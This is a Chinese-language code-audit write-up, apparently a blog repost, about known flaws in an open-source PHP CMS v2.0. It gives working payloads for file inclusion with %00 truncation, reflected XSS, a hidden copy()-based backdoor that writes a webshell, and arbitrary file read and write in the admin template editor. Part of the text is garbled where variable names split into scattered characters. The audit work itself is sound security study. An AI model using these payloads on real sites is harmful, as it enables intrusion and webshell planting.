【安全漏洞】开源cms v2.0审计
作者:互联网
前言
在CNVD上看到一个CMS存在多种类型的漏洞,对于之前只能审计出SQL注入和XSS的我来说是个比较好的学习案例,于是从网上找到源码,本地搭建审计一波
【查看资料】
审计环境
phpstudy(php 5.4.45+Apache+Mysql)
phpstorm + seay代码审计工具
Windows 7 64位
代码审计
个人习惯,安装完成后同样先看/install目录,看逻辑是否合理,有没有可能存在重装漏洞
使用file_exits()检查是否存在/install.lock.php文件,存在则exit退出,不存在重装漏洞。
接下来就从前台开始,先看入口文件index.php
require_once(dirname(__FILE__) . "/core/init.php");
// 预防XSS漏洞
foreach ($_GET as $k => $v) {
$_GET[$k] = htmlspecialchars($v);
}
$dbm = new db_mysql();
// 预处理搜索时的值,主要是防止sql的注入
if (isset($_GET['q'])) {
//搜索框为空鼠标点击显示15个热搜词
if (isset($_GET['act']) && $_GET['act'] == 'hot') {
if (trim($_GET['q']) == '') {
$sql = "SELECT id,q,qnum FROM " . TB_PREFIX . "search_keyword LIMIT 15";
$res = $dbm->query($sql);
if (empty($res['error']) && is_array($res['list'])) {
foreach ($res['list'] as $k => $v) {
$res['list'][$k]['q'] = helper :: utf8_substr($v['q'], 0, 20);
}
echo json_encode($res['list']);
exit;
} else {
die();
}
}
}
// 超出长度截取
if (strlen($_GET['q']) > 20) {
$_GET['q'] = helper :: utf8_substr($_GET['q'], 0, 20);
}
if (trim($_GET['q']) == '0' || trim($_GET['q']) == '') die('搜索词不能为0或空,请重新输入。点此 <a href ="' . SITE_PATH . '">回到首页</a>');
if (!preg_match("/^[\x{4e00}-\x{9fa5}\w {0}]+$/u", $_GET['q'])) {
die('搜索词只允许下划线,数字,字母,汉字和空格,请重新输入。点此<a href ="' . SITE_PATH . '">回到首页</a>');
}
文件开始是一些过滤代码,主要做了两个过滤。一个是把GET方式传入的值使用htmlspecialchars进行处理,另一个是使用preg_match匹配正则处理,限制输入只能是下划线,数字,字母,汉字和空格。
前台文件包含
继续往下看,看到seay扫描到的一个漏洞位置
跟进看具体代码
首先通过变量
f
r
o
m
m
o
b
i
l
e
和
from_mobile和
frommobile和tpl赋值给
t
m
p
f
i
l
e
构
造
成
p
h
p
文
件
名
,
然
后
判
断
文
件
是
否
存
在
,
如
果
存
在
,
则
使
用
r
e
q
u
i
r
e
包
含
该
文
件
。
往
上
跟
踪
tmp_file构造成php文件名,然后判断文件是否存在,如果存在,则使用require包含该文件。 往上跟踪
tmpfile构造成php文件名,然后判断文件是否存在,如果存在,则使用require包含该文件。往上跟踪from_mobile和
t
p
l
的
来
源
,
tpl的来源,
tpl的来源,from_mobile是取一个全局变量的值,而$tpl是通过GET方式传入,没有做其他的限制,那么就可以控制文件名进行包含。
漏洞验证
在网站根目录下,创建一个phpinfo.php文件进行包含
index.php?tpl=../../phpinfo
但是这里限制了后缀是.php,这显然很鸡肋,都是php文件了,直接就能执行了,没必要再去包含了。除非当php版本小于5.3.4且没有开启magic_quotes_gpc时,可以使用%00截断,包含其他类型的文件。这里切换到5.2.17版本测试,可以尝试包含.jpg的文件。
漏洞验证
index.php?tpl=../../phpinfo.jpg%00
%00截断后成功包含,那么如果找到一个能上传图片的点,就能上传图片马,配合文件包含getshell。
反射XSS
第一处
/templates/m/search.php
直接判断参数q是否存在,存在就直接输出,没有做任何过滤,很明显的漏洞
/templates/m/search.php?q="><script>alert('xss')</script>
第二处
/templates/m/inc_head.php
这里同样判断参数q是否存在,存在就直接输出,没有做任何过滤
/templates/m/inc_head.php?q="><script>alert('xss')</script>
由于这两个文件都是模板文件,所以只要包含了这两个文件的地方,都会存在XSS
隐藏后门
/templates/m/content_list.php
当传入参数session的md5值为9c224bc6b59179729b15e1dddcbb5c82时,会执行一段copy函数构造的后门代码
实际执行的代码如下
copy(trim($_GET[url]),$_GET[cms]);
如果将参数url设置为php://input,参数cms设置为shell的文件名,然后POST传入webshell代码,即可在当前目录写入shell文件
漏洞验证
随后访问test.php
后台任意文件读取
/adm/template.php
在m__show()函数中,首先判断$page[‘get’][‘filename’]是否是一个文件,如果是,则调用helper类中的get_contents方法
跟踪一下get_contents()方法
36-39行,使用while语句循环,将整个文件的内容读取到 c o n t e n t 中 , 随 后 返 回 回 到 t e m p l a t e . p h p , 看 一 下 content中,随后返回 回到template.php,看一下 content中,随后返回回到template.php,看一下page[‘get’][‘filename’]的来源
$page[‘get’]是通过GET方式传入的值,那么GET方式传入filename参数,即可控制文件名进行包含。那么只要调用m__show函数,就能包含任意文件。于是寻找m__show函数被调用的地方。
在43行使用call_user_func调用函数,而$page[‘get’][‘m’]的值通过GET方式传入,当我们传入m=show时,即可调用m__show函数。
漏洞验证
综合以上两点,可以构造payload如下
/adm/template.php?m=show&filename=../../index.php
成功读取index.php文件的内容
后台任意文件写入
/adm/template.php
92行,当POST中存在content参数时,调用file_put_contents函数写入文件,写入文件名由POST传入filename参数进行控制,写入内容为escape_stripslashes方法处理过后的content参数
跟进escape_stripslashes方法
该方法中判断PHP版本小于5.4.0且gpc开启的情况下,调用stripslashes函数删除反斜杠,否则直接返回字符串
由于本地环境使用的php版本为5.4.45,所以content参数不会做任何处理,直接传入一句话。而filename参数前面会拼接/templates/default/目录,传入…/跳转到根目录
漏洞验证
构造数据包在根目录写入shell文件
访问shell.php
总结
这次审计中包含了好几种漏洞类型,有的漏洞是平时比较少审计到的,对个人学习有不小帮助。由于是通过CNVD中的漏洞信息去审计已经存在的漏洞,找出对应的漏洞点,相对于直接挖掘是比较容易的。
最后
关注我,持续更新······
私我获取【网络安全学习资料·攻略】
标签:文件,包含,GET,传入,v2.0,漏洞,安全漏洞,php,cms 来源: https://blog.csdn.net/HBohan/article/details/121184774